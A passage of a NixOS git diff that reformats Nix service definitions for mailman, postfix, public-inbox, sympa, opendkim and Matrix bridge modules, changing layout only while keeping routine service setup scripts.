-            mv "$mailmanCfgTmp" "$mailmanCfg"
-          '';
-        };
-
-        mailman-web-setup = {
-          description = "Prepare mailman-web files and database";
-          before = [
-            "hyperkitty.service"
-            "mailman-uwsgi.service"
-          ];
-          requiredBy = [
-            "hyperkitty.service"
-            "mailman-uwsgi.service"
-          ];
-          restartTriggers = [ config.environment.etc."mailman3/settings.py".source ];
-          script = ''
-            [[ -e "${webSettings.STATIC_ROOT}" ]] && find "${webSettings.STATIC_ROOT}/" -mindepth 1 -delete
-            ${webEnv}/bin/mailman-web migrate
-            ${webEnv}/bin/mailman-web collectstatic
-            ${webEnv}/bin/mailman-web compress
-          '';
-          serviceConfig = {
-            User = cfg.webUser;
-            Group = "mailman";
-            Type = "oneshot";
-            WorkingDirectory = "/var/lib/mailman-web";
-          };
-        };
-
-        mailman-uwsgi = lib.mkIf cfg.serve.enable (
-          let
-            uwsgiConfig = lib.recursiveUpdate {
-              uwsgi =
-                {
-                  type = "normal";
-                  plugins = [ "python3" ];
-                  home = webEnv;
-                  http = "127.0.0.1:18507";
-                  buffer-size = 8192;
-                }
-                // (
-                  if cfg.serve.virtualRoot == "/" then
-                    { module = "mailman_web.wsgi:application"; }
-                  else
-                    {
-                      mount = "${cfg.serve.virtualRoot}=mailman_web.wsgi:application";
-                      manage-script-name = true;
-                    }
-                );
-            } cfg.serve.uwsgiSettings;
-            uwsgiConfigFile = pkgs.writeText "uwsgi-mailman.json" (builtins.toJSON uwsgiConfig);
-          in
-          {
-            wantedBy = [ "multi-user.target" ];
-            after = lib.optional withPostgresql "postgresql.service";
-            requires = [
-              "mailman-uwsgi.socket"
-              "mailman-web-setup.service"
-            ] ++ lib.optional withPostgresql "postgresql.service";
-            restartTriggers = [ config.environment.etc."mailman3/settings.py".source ];
-            serviceConfig = {
-              # Since the mailman-web settings.py obstinately creates a logs
-              # dir in the cwd, change to the (writable) runtime directory before
-              # starting uwsgi.
-              ExecStart = "${pkgs.coreutils}/bin/env -C $RUNTIME_DIRECTORY ${
-                pkgs.uwsgi.override {
-                  plugins = [ "python3" ];
-                  python3 = webEnv.python;
-                }
-              }/bin/uwsgi --json ${uwsgiConfigFile}";
-              User = cfg.webUser;
-              Group = "mailman";
-              RuntimeDirectory = "mailman-uwsgi";
-              Restart = "on-failure";
-            };
+      mailman-settings = {
+        description = "Generate settings files (including secrets) for Mailman";
+        before = [
+          "mailman.service"
+          "mailman-web-setup.service"
+          "mailman-uwsgi.service"
+          "hyperkitty.service"
+        ];
+        requiredBy = [
+          "mailman.service"
+          "mailman-web-setup.service"
+          "mailman-uwsgi.service"
+          "hyperkitty.service"
+        ];
+        path = with pkgs; [ jq ];
+        after = lib.optional withPostgresql "postgresql.service";
+        requires = lib.optional withPostgresql "postgresql.service";
+        serviceConfig.RemainAfterExit = true;
+        serviceConfig.Type = "oneshot";
+        script = ''
+          install -m0750 -o mailman -g mailman ${mailmanCfgFile} /etc/mailman.cfg
+          ${
+            if cfg.restApiPassFile == null then
+              ''
+                sed -i "s/#NIXOS_MAILMAN_REST_API_PASS_SECRET#/$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 64)/g" \
+                  /etc/mailman.cfg
+              ''
+            else
+              ''
+                ${pkgs.replace-secret}/bin/replace-secret \
+                  '#NIXOS_MAILMAN_REST_API_PASS_SECRET#' \
+                  ${cfg.restApiPassFile} \
+                  /etc/mailman.cfg
+              ''
           }
-        );
 
-        mailman-daily = {
-          description = "Trigger daily Mailman events";
-          startAt = "daily";
-          restartTriggers = [ mailmanCfgFile ];
-          serviceConfig = {
-            ExecStart = "${mailmanEnv}/bin/mailman digests --send";
-            User = "mailman";
-            Group = "mailman";
-          };
+          mailmanDir=/var/lib/mailman
+          mailmanWebDir=/var/lib/mailman-web
+
+          mailmanCfg=$mailmanDir/mailman-hyperkitty.cfg
+          mailmanWebCfg=$mailmanWebDir/settings_local.json
+
+          install -m 0775 -o mailman -g mailman -d /var/lib/mailman-web-static
+          install -m 0770 -o mailman -g mailman -d $mailmanDir
+          install -m 0770 -o ${cfg.webUser} -g mailman -d $mailmanWebDir
+
+          if [ ! -e $mailmanWebCfg ]; then
+              hyperkittyApiKey=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 64)
+              secretKey=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 64)
+
+              install -m 0440 -o root -g mailman \
+                <(jq -n '.MAILMAN_ARCHIVER_KEY=$archiver_key | .SECRET_KEY=$secret_key' \
+                  --arg archiver_key "$hyperkittyApiKey" \
+                  --arg secret_key "$secretKey") \
+                "$mailmanWebCfg"
+          fi
+
+          hyperkittyApiKey="$(jq -r .MAILMAN_ARCHIVER_KEY "$mailmanWebCfg")"
+          mailmanCfgTmp=$(mktemp)
+          sed "s/@API_KEY@/$hyperkittyApiKey/g" ${mailmanHyperkittyCfg} >"$mailmanCfgTmp"
+          chown mailman:mailman "$mailmanCfgTmp"
+          mv "$mailmanCfgTmp" "$mailmanCfg"
+        '';
+      };
+
+      mailman-web-setup = {
+        description = "Prepare mailman-web files and database";
+        before = [
+          "hyperkitty.service"
+          "mailman-uwsgi.service"
+        ];
+        requiredBy = [
+          "hyperkitty.service"
+          "mailman-uwsgi.service"
+        ];
+        restartTriggers = [ config.environment.etc."mailman3/settings.py".source ];
+        script = ''
+          [[ -e "${webSettings.STATIC_ROOT}" ]] && find "${webSettings.STATIC_ROOT}/" -mindepth 1 -delete
+          ${webEnv}/bin/mailman-web migrate
+          ${webEnv}/bin/mailman-web collectstatic
+          ${webEnv}/bin/mailman-web compress
+        '';
+        serviceConfig = {
+          User = cfg.webUser;
+          Group = "mailman";
+          Type = "oneshot";
+          WorkingDirectory = "/var/lib/mailman-web";
         };
+      };
 
-        hyperkitty = lib.mkIf cfg.hyperkitty.enable {
-          description = "GNU Hyperkitty QCluster Process";
-          after = [ "network.target" ];
+      mailman-uwsgi = lib.mkIf cfg.serve.enable (
+        let
+          uwsgiConfig = lib.recursiveUpdate {
+            uwsgi = {
+              type = "normal";
+              plugins = [ "python3" ];
+              home = webEnv;
+              http = "127.0.0.1:18507";
+              buffer-size = 8192;
+            }
+            // (
+              if cfg.serve.virtualRoot == "/" then
+                { module = "mailman_web.wsgi:application"; }
+              else
+                {
+                  mount = "${cfg.serve.virtualRoot}=mailman_web.wsgi:application";
+                  manage-script-name = true;
+                }
+            );
+          } cfg.serve.uwsgiSettings;
+          uwsgiConfigFile = pkgs.writeText "uwsgi-mailman.json" (builtins.toJSON uwsgiConfig);
+        in
+        {
+          wantedBy = [ "multi-user.target" ];
+          after = lib.optional withPostgresql "postgresql.service";
+          requires = [
+            "mailman-uwsgi.socket"
+            "mailman-web-setup.service"
+          ]
+          ++ lib.optional withPostgresql "postgresql.service";
           restartTriggers = [ config.environment.etc."mailman3/settings.py".source ];
-          wantedBy = [
-            "mailman.service"
-            "multi-user.target"
-          ];
           serviceConfig = {
-            ExecStart = "${webEnv}/bin/mailman-web qcluster";
+            # Since the mailman-web settings.py obstinately creates a logs
+            # dir in the cwd, change to the (writable) runtime directory before
+            # starting uwsgi.
+            ExecStart = "${pkgs.coreutils}/bin/env -C $RUNTIME_DIRECTORY ${
+              pkgs.uwsgi.override {
+                plugins = [ "python3" ];
+                python3 = webEnv.python;
+              }
+            }/bin/uwsgi --json ${uwsgiConfigFile}";
             User = cfg.webUser;
             Group = "mailman";
-            WorkingDirectory = "/var/lib/mailman-web";
+            RuntimeDirectory = "mailman-uwsgi";
             Restart = "on-failure";
           };
+        }
+      );
+
+      mailman-daily = {
+        description = "Trigger daily Mailman events";
+        startAt = "daily";
+        restartTriggers = [ mailmanCfgFile ];
+        serviceConfig = {
+          ExecStart = "${mailmanEnv}/bin/mailman digests --send";
+          User = "mailman";
+          Group = "mailman";
         };
-      }
-      // lib.flip lib.mapAttrs'
+      };
+
+      hyperkitty = lib.mkIf cfg.hyperkitty.enable {
+        description = "GNU Hyperkitty QCluster Process";
+        after = [ "network.target" ];
+        restartTriggers = [ config.environment.etc."mailman3/settings.py".source ];
+        wantedBy = [
+          "mailman.service"
+          "multi-user.target"
+        ];
+        serviceConfig = {
+          ExecStart = "${webEnv}/bin/mailman-web qcluster";
+          User = cfg.webUser;
+          Group = "mailman";
+          WorkingDirectory = "/var/lib/mailman-web";
+          Restart = "on-failure";
+        };
+      };
+    }
+    //
+      lib.flip lib.mapAttrs'
         {
           "minutely" = "minutely";
           "quarter_hourly" = "*:00/15";
diff --git a/nixos/modules/services/mail/offlineimap.nix b/nixos/modules/services/mail/offlineimap.nix
index 655631b1f4a1..712198932835 100644
--- a/nixos/modules/services/mail/offlineimap.nix
+++ b/nixos/modules/services/mail/offlineimap.nix
@@ -65,6 +65,7 @@ in
         # start immediately after computer is started:
         Persistent = "true";
       };
-    } // lib.optionalAttrs cfg.enable { wantedBy = [ "default.target" ]; };
+    }
+    // lib.optionalAttrs cfg.enable { wantedBy = [ "default.target" ]; };
   };
 }
diff --git a/nixos/modules/services/mail/opendkim.nix b/nixos/modules/services/mail/opendkim.nix
index cf5d27405b7a..f9237ce2441e 100644
--- a/nixos/modules/services/mail/opendkim.nix
+++ b/nixos/modules/services/mail/opendkim.nix
@@ -10,23 +10,22 @@ let
 
   defaultSock = "local:/run/opendkim/opendkim.sock";
 
-  args =
-    [
-      "-f"
-      "-l"
-      "-p"
-      cfg.socket
-      "-d"
-      cfg.domains
-      "-k"
-      "${cfg.keyPath}/${cfg.selector}.private"
-      "-s"
-      cfg.selector
-    ]
-    ++ lib.optionals (cfg.configFile != null) [
-      "-x"
-      cfg.configFile
-    ];
+  args = [
+    "-f"
+    "-l"
+    "-p"
+    cfg.socket
+    "-d"
+    cfg.domains
+    "-k"
+    "${cfg.keyPath}/${cfg.selector}.private"
+    "-s"
+    cfg.selector
+  ]
+  ++ lib.optionals (cfg.configFile != null) [
+    "-x"
+    cfg.configFile
+  ];
 
   configFile = pkgs.writeText "opendkim.conf" (
     lib.concatStringsSep "\n" (lib.mapAttrsToList (name: value: "${name} ${value}") cfg.settings)
diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
index a44ccbdba652..3aa8c1cd88da 100644
--- a/nixos/modules/services/mail/postfix-tlspol.nix
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -209,14 +209,13 @@ in
           ProtectSystem = "strict";
           ReadOnlyPaths = [ "/etc/postfix-tlspol/config.yaml" ];
           RemoveIPC = true;
-          RestrictAddressFamilies =
-            [
-              "AF_INET"
-              "AF_INET6"
-            ]
-            ++ lib.optionals (lib.hasPrefix "unix:" cfg.settings.server.address) [
-              "AF_UNIX"
-            ];
+          RestrictAddressFamilies = [
+            "AF_INET"
+            "AF_INET6"
+          ]
+          ++ lib.optionals (lib.hasPrefix "unix:" cfg.settings.server.address) [
+            "AF_UNIX"
+          ];
           RestrictNamespaces = true;
           RestrictRealtime = true;
           RestrictSUIDSGID = true;
diff --git a/nixos/modules/services/mail/postfix.nix b/nixos/modules/services/mail/postfix.nix
index 34c236dcd2a6..525cfa3cf2a0 100644
--- a/nixos/modules/services/mail/postfix.nix
+++ b/nixos/modules/services/mail/postfix.nix
@@ -244,7 +244,8 @@ let
           lines = [
             labels
             labelDefaults
-          ] ++ (map (l: lib.init l ++ [ "" ]) masterCf);
+          ]
+          ++ (map (l: lib.init l ++ [ "" ]) masterCf);
         in
         lib.foldr foldLine (lib.genList (lib.const 0) (lib.length labels)) lines;
 
@@ -959,7 +960,8 @@ in
           // lib.optionalAttrs haveLocalRecipients {
             local_recipient_maps = [
               "hash:/etc/postfix/local_recipients"
-            ] ++ lib.optional haveAliases "$alias_maps";
+            ]
+            ++ lib.optional haveAliases "$alias_maps";
           }
           // lib.optionalAttrs (cfg.dnsBlacklists != [ ]) { smtpd_client_restrictions = clientRestrictions; }
           // lib.optionalAttrs cfg.useSrs {
@@ -988,138 +990,137 @@ in
 
           };
 
-        services.postfix.masterConfig =
-          {
-            pickup = {
-              private = false;
-              wakeup = 60;
-              maxproc = 1;
-            };
-            cleanup = {
-              private = false;
-              maxproc = 0;
-            };
-            qmgr = {
-              private = false;
-              wakeup = 300;
-              maxproc = 1;
-            };
-            tlsmgr = {
-              wakeup = 1000;
-              wakeupUnusedComponent = false;
-              maxproc = 1;
-            };
-            rewrite = {
-              command = "trivial-rewrite";
-            };
-            bounce = {
-              maxproc = 0;
-            };
-            defer = {
-              maxproc = 0;
-              command = "bounce";
-            };
-            trace = {
-              maxproc = 0;
-              command = "bounce";
-            };
-            verify = {
-              maxproc = 1;
-            };
-            flush = {
-              private = false;
-              wakeup = 1000;
-              wakeupUnusedComponent = false;
-              maxproc = 0;
-            };
-            proxymap = {
-              command = "proxymap";
-            };
-            proxywrite = {
-              maxproc = 1;
-              command = "proxymap";
-            };
-            showq = {
-              private = false;
-            };
-            error = { };
-            retry = {
-              command = "error";
-            };
-            discard = { };
-            local = {
-              privileged = true;
-            };
-            virtual = {
-              privileged = true;
-            };
-            lmtp = {
-            };
-            anvil = {
-              maxproc = 1;
-            };
-            scache = {
-              maxproc = 1;
-            };
-          }
-          // lib.optionalAttrs cfg.enableSubmission {
-            submission = {
-              type = "inet";
-              private = false;
-              command = "smtpd";
-              args =
-                let
-                  mkKeyVal = opt: val: [
-                    "-o"
-                    (opt + "=" + val)
-                  ];
-                in
-                lib.concatLists (lib.mapAttrsToList mkKeyVal cfg.submissionOptions);
-            };
-          }
-          // lib.optionalAttrs cfg.enableSmtp {
-            smtp_inet = {
-              name = "smtp";
-              type = "inet";
-              private = false;
-              command = "smtpd";
-            };
-            smtp = { };
-            relay = {
-              command = "smtp";
-              args = [
-                "-o"
-                "smtp_fallback_relay="
-              ];
-            };
-          }
-          // lib.optionalAttrs cfg.enableSubmissions {
-            submissions = {
-              type = "inet";
-              private = false;
-              command = "smtpd";
-              args =
-                let
-                  mkKeyVal = opt: val: [
-                    "-o"
-                    (opt + "=" + val)
-                  ];
-                  adjustSmtpTlsSecurityLevel =
-                    !(cfg.submissionsOptions ? smtpd_tls_security_level)
-                    || cfg.submissionsOptions.smtpd_tls_security_level == "none"
-                    || cfg.submissionsOptions.smtpd_tls_security_level == "may";
-                  submissionsOptions =
-                    cfg.submissionsOptions
-                    // {
-                      smtpd_tls_wrappermode = "yes";
-                    }
-                    // lib.optionalAttrs adjustSmtpTlsSecurityLevel {
-                      smtpd_tls_security_level = "encrypt";
-                    };
-                in
-                lib.concatLists (lib.mapAttrsToList mkKeyVal submissionsOptions);
-            };
+        services.postfix.masterConfig = {
+          pickup = {
+            private = false;
+            wakeup = 60;
+            maxproc = 1;
           };
+          cleanup = {
+            private = false;
+            maxproc = 0;
+          };
+          qmgr = {
+            private = false;
+            wakeup = 300;
+            maxproc = 1;
+          };
+          tlsmgr = {
+            wakeup = 1000;
+            wakeupUnusedComponent = false;
+            maxproc = 1;
+          };
+          rewrite = {
+            command = "trivial-rewrite";
+          };
+          bounce = {
+            maxproc = 0;
+          };
+          defer = {
+            maxproc = 0;
+            command = "bounce";
+          };
+          trace = {
+            maxproc = 0;
+            command = "bounce";
+          };
+          verify = {
+            maxproc = 1;
+          };
+          flush = {
+            private = false;
+            wakeup = 1000;
+            wakeupUnusedComponent = false;
+            maxproc = 0;
+          };
+          proxymap = {
+            command = "proxymap";
+          };
+          proxywrite = {
+            maxproc = 1;
+            command = "proxymap";
+          };
+          showq = {
+            private = false;
+          };
+          error = { };
+          retry = {
+            command = "error";
+          };
+          discard = { };
+          local = {
+            privileged = true;
+          };
+          virtual = {
+            privileged = true;
+          };
+          lmtp = {
+          };
+          anvil = {
+            maxproc = 1;
+          };
+          scache = {
+            maxproc = 1;
+          };
+        }
+        // lib.optionalAttrs cfg.enableSubmission {
+          submission = {
+            type = "inet";
+            private = false;
+            command = "smtpd";
+            args =
+              let
+                mkKeyVal = opt: val: [
+                  "-o"
+                  (opt + "=" + val)
+                ];
+              in
+              lib.concatLists (lib.mapAttrsToList mkKeyVal cfg.submissionOptions);
+          };
+        }
+        // lib.optionalAttrs cfg.enableSmtp {
+          smtp_inet = {
+            name = "smtp";
+            type = "inet";
+            private = false;
+            command = "smtpd";
+          };
+          smtp = { };
+          relay = {
+            command = "smtp";
+            args = [
+              "-o"
+              "smtp_fallback_relay="
+            ];
+          };
+        }
+        // lib.optionalAttrs cfg.enableSubmissions {
+          submissions = {
+            type = "inet";
+            private = false;
+            command = "smtpd";
+            args =
+              let
+                mkKeyVal = opt: val: [
+                  "-o"
+                  (opt + "=" + val)
+                ];
+                adjustSmtpTlsSecurityLevel =
+                  !(cfg.submissionsOptions ? smtpd_tls_security_level)
+                  || cfg.submissionsOptions.smtpd_tls_security_level == "none"
+                  || cfg.submissionsOptions.smtpd_tls_security_level == "may";
+                submissionsOptions =
+                  cfg.submissionsOptions
+                  // {
+                    smtpd_tls_wrappermode = "yes";
+                  }
+                  // lib.optionalAttrs adjustSmtpTlsSecurityLevel {
+                    smtpd_tls_security_level = "encrypt";
+                  };
+              in
+              lib.concatLists (lib.mapAttrsToList mkKeyVal submissionsOptions);
+          };
+        };
       }
 
       (lib.mkIf haveAliases {
diff --git a/nixos/modules/services/mail/public-inbox.nix b/nixos/modules/services/mail/public-inbox.nix
index 385de9d95985..a2b536e29aef 100644
--- a/nixos/modules/services/mail/public-inbox.nix
+++ b/nixos/modules/services/mail/public-inbox.nix
@@ -74,17 +74,16 @@ let
         StateDirectory = [ "public-inbox" ];
         StateDirectoryMode = "0750";
         WorkingDirectory = stateDir;
-        BindReadOnlyPaths =
-          [
-            "/etc"
-            "/run/systemd"
-            "${config.i18n.glibcLocales}"
-          ]
-          ++ mapAttrsToList (name: inbox: inbox.description) cfg.inboxes
-          ++ filter (x: x != null) [
-            cfg.${proto}.cert or null
-            cfg.${proto}.key or null
-          ];
+        BindReadOnlyPaths = [
+          "/etc"
+          "/run/systemd"
+          "${config.i18n.glibcLocales}"
+        ]
+        ++ mapAttrsToList (name: inbox: inbox.description) cfg.inboxes
+        ++ filter (x: x != null) [
+          cfg.${proto}.cert or null
+          cfg.${proto}.key or null
+        ];
         # The following options are only for optimizing:
         # systemd-analyze security public-inbox-'*'
         AmbientCapabilities = "";
@@ -103,12 +102,13 @@ let
         ProtectProc = "invisible";
         ProtectSystem = "strict";
         RemoveIPC = true;
-        RestrictAddressFamilies =
-          [ "AF_UNIX" ]
-          ++ optionals needNetwork [
-            "AF_INET"
-            "AF_INET6"
-          ];
+        RestrictAddressFamilies = [
+          "AF_UNIX"
+        ]
+        ++ optionals needNetwork [
+          "AF_INET"
+          "AF_INET6"
+        ];
         RestrictNamespaces = true;
         RestrictRealtime = true;
         RestrictSUIDSGID = true;
@@ -215,7 +215,8 @@ in
     };
     imap = {
       enable = mkEnableOption "the public-inbox IMAP server";
-    } // publicInboxDaemonOptions "imap" 993;
+    }
+    // publicInboxDaemonOptions "imap" 993;
     http = {
       enable = mkEnableOption "the public-inbox HTTP server";
       mounts = mkOption {
@@ -253,7 +254,8 @@ in
     postfix.enable = mkEnableOption "the integration into Postfix";
     nntp = {
       enable = mkEnableOption "the public-inbox NNTP server";
-    } // publicInboxDaemonOptions "nntp" 563;
+    }
+    // publicInboxDaemonOptions "nntp" 563;
     spamAssassinRules = mkOption {
       type = with types; nullOr path;
       default = "${cfg.package.sa_config}/user/.spamassassin/user_prefs";
@@ -592,7 +594,8 @@ in
               wants = [ "public-inbox-init.service" ];
               requires = [
                 "public-inbox-init.service"
-              ] ++ optional (cfg.settings.publicinboxwatch.spamcheck == "spamc") "spamassassin.service";
+              ]
+              ++ optional (cfg.settings.publicinboxwatch.spamcheck == "spamc") "spamassassin.service";
               wantedBy = [ "multi-user.target" ];
               serviceConfig = {
                 ExecStart = "${cfg.package}/bin/public-inbox-watch";
@@ -615,52 +618,51 @@ in
               wantedBy = [ "multi-user.target" ];
               restartIfChanged = true;
               restartTriggers = [ PI_CONFIG ];
-              script =
-                ''
-                  set -ux
-                  install -D -p ${PI_CONFIG} ${stateDir}/.public-inbox/config
-                ''
-                + optionalString useSpamAssassin ''
-                  install -m 0700 -o spamd -d ${stateDir}/.spamassassin
-                  ${optionalString (cfg.spamAssassinRules != null) ''
-                    ln -sf ${cfg.spamAssassinRules} ${stateDir}/.spamassassin/user_prefs
-                  ''}
-                ''
-                + concatStrings (
-                  mapAttrsToList (name: inbox: ''
-                    if [ ! -e ${stateDir}/inboxes/${escapeShellArg name} ]; then
-                      # public-inbox-init creates an inbox and adds it to a config file.
-                      # It tries to atomically write the config file by creating
-                      # another file in the same directory, and renaming it.
-                      # This has the sad consequence that we can't use
-                      # /dev/null, or it would try to create a file in /dev.
-                      conf_dir="$(mktemp -d)"
+              script = ''
+                set -ux
+                install -D -p ${PI_CONFIG} ${stateDir}/.public-inbox/config
+              ''
+              + optionalString useSpamAssassin ''
+                install -m 0700 -o spamd -d ${stateDir}/.spamassassin
+                ${optionalString (cfg.spamAssassinRules != null) ''
+                  ln -sf ${cfg.spamAssassinRules} ${stateDir}/.spamassassin/user_prefs
+                ''}
+              ''
+              + concatStrings (
+                mapAttrsToList (name: inbox: ''
+                  if [ ! -e ${stateDir}/inboxes/${escapeShellArg name} ]; then
+                    # public-inbox-init creates an inbox and adds it to a config file.
+                    # It tries to atomically write the config file by creating
+                    # another file in the same directory, and renaming it.
+                    # This has the sad consequence that we can't use
+                    # /dev/null, or it would try to create a file in /dev.
+                    conf_dir="$(mktemp -d)"
 
-                      PI_CONFIG=$conf_dir/conf \
-                      ${cfg.package}/bin/public-inbox-init -V2 \
-                        ${escapeShellArgs (
-                          [
-                            name
-                            "${stateDir}/inboxes/${name}"
-                            inbox.url
-                          ]
-                          ++ inbox.address
-                        )}
+                    PI_CONFIG=$conf_dir/conf \
+                    ${cfg.package}/bin/public-inbox-init -V2 \
+                      ${escapeShellArgs (
+                        [
+                          name
+                          "${stateDir}/inboxes/${name}"
+                          inbox.url
+                        ]
+                        ++ inbox.address
+                      )}
 
-                      rm -rf $conf_dir
-                    fi
+                    rm -rf $conf_dir
+                  fi
 
-                    ln -sf ${inbox.description} \
-                      ${stateDir}/inboxes/${escapeShellArg name}/description
+                  ln -sf ${inbox.description} \
+                    ${stateDir}/inboxes/${escapeShellArg name}/description
 
-                    export GIT_DIR=${stateDir}/inboxes/${escapeShellArg name}/all.git
-                    if test -d "$GIT_DIR"; then
-                      # Config is inherited by each epoch repository,
-                      # so just needs to be set for all.git.
-                      ${pkgs.git}/bin/git config core.sharedRepository 0640
-                    fi
-                  '') cfg.inboxes
-                );
+                  export GIT_DIR=${stateDir}/inboxes/${escapeShellArg name}/all.git
+                  if test -d "$GIT_DIR"; then
+                    # Config is inherited by each epoch repository,
+                    # so just needs to be set for all.git.
+                    ${pkgs.git}/bin/git config core.sharedRepository 0640
+                  fi
+                '') cfg.inboxes
+              );
               serviceConfig = {
                 Type = "oneshot";
                 RemainAfterExit = true;
diff --git a/nixos/modules/services/mail/sympa.nix b/nixos/modules/services/mail/sympa.nix
index f8cd19691926..f3bea32a7a9a 100644
--- a/nixos/modules/services/mail/sympa.nix
+++ b/nixos/modules/services/mail/sympa.nix
@@ -411,16 +411,15 @@ in
       })
     );
 
-    services.sympa.settingsFile =
-      {
-        "virtual.sympa" = lib.mkDefault { source = virtual; };
-        "transport.sympa" = lib.mkDefault { source = transport; };
-        "etc/list_aliases.tt2" = lib.mkDefault { source = listAliases; };
-      }
-      // (lib.flip lib.mapAttrs' cfg.domains (
-        fqdn: domain:
-        lib.nameValuePair "etc/${fqdn}/robot.conf" (lib.mkDefault { source = robotConfig fqdn domain; })
-      ));
+    services.sympa.settingsFile = {
+      "virtual.sympa" = lib.mkDefault { source = virtual; };
+      "transport.sympa" = lib.mkDefault { source = transport; };
+      "etc/list_aliases.tt2" = lib.mkDefault { source = listAliases; };
+    }
+    // (lib.flip lib.mapAttrs' cfg.domains (
+      fqdn: domain:
+      lib.nameValuePair "etc/${fqdn}/robot.conf" (lib.mkDefault { source = robotConfig fqdn domain; })
+    ));
 
     environment = {
       systemPackages = [ pkg ];
@@ -448,41 +447,40 @@ in
       }
     ];
 
-    systemd.tmpfiles.rules =
-      [
-        "d  ${dataDir}                   0711 ${user} ${group} - -"
-        "d  ${dataDir}/etc               0700 ${user} ${group} - -"
-        "d  ${dataDir}/spool             0700 ${user} ${group} - -"
-        "d  ${dataDir}/list_data         0700 ${user} ${group} - -"
-        "d  ${dataDir}/arc               0700 ${user} ${group} - -"
-        "d  ${dataDir}/bounce            0700 ${user} ${group} - -"
-        "f  ${dataDir}/sympa_transport   0600 ${user} ${group} - -"
+    systemd.tmpfiles.rules = [
+      "d  ${dataDir}                   0711 ${user} ${group} - -"
+      "d  ${dataDir}/etc               0700 ${user} ${group} - -"
+      "d  ${dataDir}/spool             0700 ${user} ${group} - -"
+      "d  ${dataDir}/list_data         0700 ${user} ${group} - -"
+      "d  ${dataDir}/arc               0700 ${user} ${group} - -"
+      "d  ${dataDir}/bounce            0700 ${user} ${group} - -"
+      "f  ${dataDir}/sympa_transport   0600 ${user} ${group} - -"
 
-        # force-copy static_content so it's up to date with package
-        # set permissions for wwsympa which needs write access (...)
-        "R  ${dataDir}/static_content    -    -       -        - -"
-        "C  ${dataDir}/static_content    0711 ${user} ${group} - ${pkg}/var/lib/sympa/static_content"
-        "e  ${dataDir}/static_content/*  0711 ${user} ${group} - -"
+      # force-copy static_content so it's up to date with package
+      # set permissions for wwsympa which needs write access (...)
+      "R  ${dataDir}/static_content    -    -       -        - -"
+      "C  ${dataDir}/static_content    0711 ${user} ${group} - ${pkg}/var/lib/sympa/static_content"
+      "e  ${dataDir}/static_content/*  0711 ${user} ${group} - -"
 
-        "d  /run/sympa                   0755 ${user} ${group} - -"
-      ]
-      ++ (lib.flip lib.concatMap fqdns (fqdn: [
-        "d  ${dataDir}/etc/${fqdn}       0700 ${user} ${group} - -"
-        "d  ${dataDir}/list_data/${fqdn} 0700 ${user} ${group} - -"
-      ]))
-      #++ (lib.flip lib.mapAttrsToList enabledFiles (k: v:
-      #  "L+ ${dataDir}/${k}              -    -       -        - ${v.source}"
-      #))
-      ++ (lib.concatLists (
-        lib.flip lib.mapAttrsToList enabledFiles (
-          k: v: [
-            # sympa doesn't handle symlinks well (e.g. fails to create locks)
-            # force-copy instead
-            "R ${dataDir}/${k}              -    -       -        - -"
-            "C ${dataDir}/${k}              0700 ${user}  ${group} - ${v.source}"
-          ]
-        )
-      ));
+      "d  /run/sympa                   0755 ${user} ${group} - -"
+    ]
+    ++ (lib.flip lib.concatMap fqdns (fqdn: [
+      "d  ${dataDir}/etc/${fqdn}       0700 ${user} ${group} - -"
+      "d  ${dataDir}/list_data/${fqdn} 0700 ${user} ${group} - -"
+    ]))
+    #++ (lib.flip lib.mapAttrsToList enabledFiles (k: v:
+    #  "L+ ${dataDir}/${k}              -    -       -        - ${v.source}"
+    #))
+    ++ (lib.concatLists (
+      lib.flip lib.mapAttrsToList enabledFiles (
+        k: v: [
+          # sympa doesn't handle symlinks well (e.g. fails to create locks)
+          # force-copy instead
+          "R ${dataDir}/${k}              -    -       -        - -"
+          "C ${dataDir}/${k}              0700 ${user}  ${group} - ${v.source}"
+        ]
+      )
+    ));
 
     systemd.services.sympa = {
       description = "Sympa mailing list manager";
@@ -551,7 +549,8 @@ in
                     -- ${pkg}/lib/sympa/cgi/wwsympa.fcgi
         '';
 
-      } // commonServiceConfig;
+      }
+      // commonServiceConfig;
     };
 
     services.nginx.enable = lib.mkIf usingNginx true;
diff --git a/nixos/modules/services/matrix/mautrix-meta.nix b/nixos/modules/services/matrix/mautrix-meta.nix
index e64f1d923564..c2cdcc9c0886 100644
--- a/nixos/modules/services/matrix/mautrix-meta.nix
+++ b/nixos/modules/services/matrix/mautrix-meta.nix
@@ -225,11 +225,12 @@ in
 
                 serviceDependencies = lib.mkOption {
                   type = lib.types.listOf lib.types.str;
-                  default =
-                    [ config.registrationServiceUnit ]
-                    ++ (lib.lists.optional upperConfig.services.matrix-synapse.enable upperConfig.services.matrix-synapse.serviceUnit)
-                    ++ (lib.lists.optional upperConfig.services.matrix-conduit.enable "matrix-conduit.service")
-                    ++ (lib.lists.optional upperConfig.services.dendrite.enable "dendrite.service");
+                  default = [
+                    config.registrationServiceUnit
+                  ]
+                  ++ (lib.lists.optional upperConfig.services.matrix-synapse.enable upperConfig.services.matrix-synapse.serviceUnit)
+                  ++ (lib.lists.optional upperConfig.services.matrix-conduit.enable "matrix-conduit.service")
+                  ++ (lib.lists.optional upperConfig.services.dendrite.enable "dendrite.service");
 
                   defaultText = ''
                     [ config.registrationServiceUnit ] ++
diff --git a/nixos/modules/services/matrix/mautrix-telegram.nix b/nixos/modules/services/matrix/mautrix-telegram.nix
index 74f18923d790..efb966223136 100644
--- a/nixos/modules/services/matrix/mautrix-telegram.nix
+++ b/nixos/modules/services/matrix/mautrix-telegram.nix
@@ -189,43 +189,42 @@ in
       # RuntimeError: Could not determine home directory.
       environment.HOME = dataDir;
 
-      preStart =
-        ''
-          # substitute the settings file by environment variables
-          # in this case read from EnvironmentFile
-          test -f '${settingsFile}' && rm -f '${settingsFile}'
-          old_umask=$(umask)
-          umask 0177
-          ${pkgs.envsubst}/bin/envsubst \
-            -o '${settingsFile}' \
-            -i '${settingsFileUnsubstituted}'
-          umask $old_umask
+      preStart = ''
+        # substitute the settings file by environment variables
+        # in this case read from EnvironmentFile
+        test -f '${settingsFile}' && rm -f '${settingsFile}'
+        old_umask=$(umask)
+        umask 0177
+        ${pkgs.envsubst}/bin/envsubst \
+          -o '${settingsFile}' \
+          -i '${settingsFileUnsubstituted}'
+        umask $old_umask
 
-          # generate the appservice's registration file if absent
-          if [ ! -f '${registrationFile}' ]; then
